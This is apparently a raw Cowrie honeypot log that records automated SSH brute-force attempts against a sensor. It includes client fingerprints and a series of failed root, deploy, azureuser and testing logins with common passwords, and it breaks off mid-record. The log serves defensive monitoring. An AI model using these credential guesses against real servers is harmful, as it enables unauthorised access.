{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:09.468381Z","src_ip":"141.11.88.14","session":"1759e6632e38","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:09.674885Z","src_ip":"27.71.230.31","session":"1f9f45015da8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:09.679231Z","src_ip":"27.71.230.31","session":"1f9f45015da8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t","message":"login attempt [root/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:10.493359Z","src_ip":"141.11.88.14","session":"1759e6632e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:11.841630Z","src_ip":"141.11.88.14","session":"1759e6632e38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":14994,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fbba8cf3193","protocol":"ssh","message":"New connection: 141.11.88.14:14994 (10.17.0.5:22) [session: 2fbba8cf3193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:15.870425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:16.007638Z","src_ip":"141.11.88.14","session":"2fbba8cf3193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:16.010708Z","src_ip":"141.11.88.14","session":"2fbba8cf3193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1111","message":"login attempt [deploy/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:16.525004Z","src_ip":"141.11.88.14","session":"2fbba8cf3193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin#12345","message":"login attempt [root/admin#12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:17.192249Z","src_ip":"27.71.230.31","session":"1f9f45015da8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:17.616676Z","src_ip":"141.11.88.14","session":"2fbba8cf3193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:18.476923Z","src_ip":"27.71.230.31","session":"1f9f45015da8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":46696,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b4ab1e10457","protocol":"ssh","message":"New connection: 141.11.88.14:46696 (10.17.0.5:22) [session: 2b4ab1e10457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:23.532873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:23.653666Z","src_ip":"141.11.88.14","session":"2b4ab1e10457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:23.656832Z","src_ip":"141.11.88.14","session":"2b4ab1e10457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":41628,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ead76e5e32c","protocol":"ssh","message":"New connection: 103.153.68.219:41628 (159.203.135.109:22) [session: 3ead76e5e32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:25.125790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:25.130826Z","src_ip":"103.153.68.219","session":"3ead76e5e32c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"localhost","message":"login attempt [root/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:25.215709Z","src_ip":"141.11.88.14","session":"2b4ab1e10457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:25.373214Z","src_ip":"103.153.68.219","session":"3ead76e5e32c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nastya1993","message":"login attempt [root/nastya1993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:26.102036Z","src_ip":"103.153.68.219","session":"3ead76e5e32c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:26.417296Z","src_ip":"141.11.88.14","session":"2b4ab1e10457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:27.346074Z","src_ip":"103.153.68.219","session":"3ead76e5e32c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":53384,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ac0d76db27b","protocol":"ssh","message":"New connection: 141.11.88.14:53384 (10.17.0.5:22) [session: 9ac0d76db27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:30.527699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:30.632261Z","src_ip":"141.11.88.14","session":"9ac0d76db27b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:30.636725Z","src_ip":"141.11.88.14","session":"9ac0d76db27b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq111111","message":"login attempt [root/qq111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:32.531874Z","src_ip":"141.11.88.14","session":"9ac0d76db27b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:33.877765Z","src_ip":"141.11.88.14","session":"9ac0d76db27b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":53432,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1408d0fa317","protocol":"ssh","message":"New connection: 141.11.88.14:53432 (10.17.0.5:22) [session: f1408d0fa317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:36.494796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:36.754212Z","src_ip":"141.11.88.14","session":"f1408d0fa317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:36.757453Z","src_ip":"141.11.88.14","session":"f1408d0fa317","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing","message":"login attempt [testing/testing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:38.258115Z","src_ip":"141.11.88.14","session":"f1408d0fa317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:39.721261Z","src_ip":"141.11.88.14","session":"f1408d0fa317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":60586,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2cba80077ef","protocol":"ssh","message":"New connection: 141.11.88.14:60586 (10.17.0.5:22) [session: b2cba80077ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:43.463368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:43.527536Z","src_ip":"141.11.88.14","session":"b2cba80077ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:43.648301Z","src_ip":"141.11.88.14","session":"b2cba80077ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"Password123!","message":"login attempt [azureuser/Password123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:44.671603Z","src_ip":"141.11.88.14","session":"b2cba80077ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:45.788560Z","src_ip":"141.11.88.14","session":"b2cba80077ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":56302,"dst_ip":"159.203.135.109","dst_port":23,"session":"29507dc6e698","protocol":"telnet","message":"New connection: 172.81.62.90:56302 (159.203.135.109:23) [session: 29507dc6e698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:46.036387Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":56456,"dst_ip":"10.17.0.5","dst_port":22,"session":"1151591d23e5","protocol":"ssh","message":"New connection: 141.11.88.14:56456 (10.17.0.5:22) [session: 1151591d23e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:49.224862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:49.388604Z","src_ip":"141.11.88.14","session":"1151591d23e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ct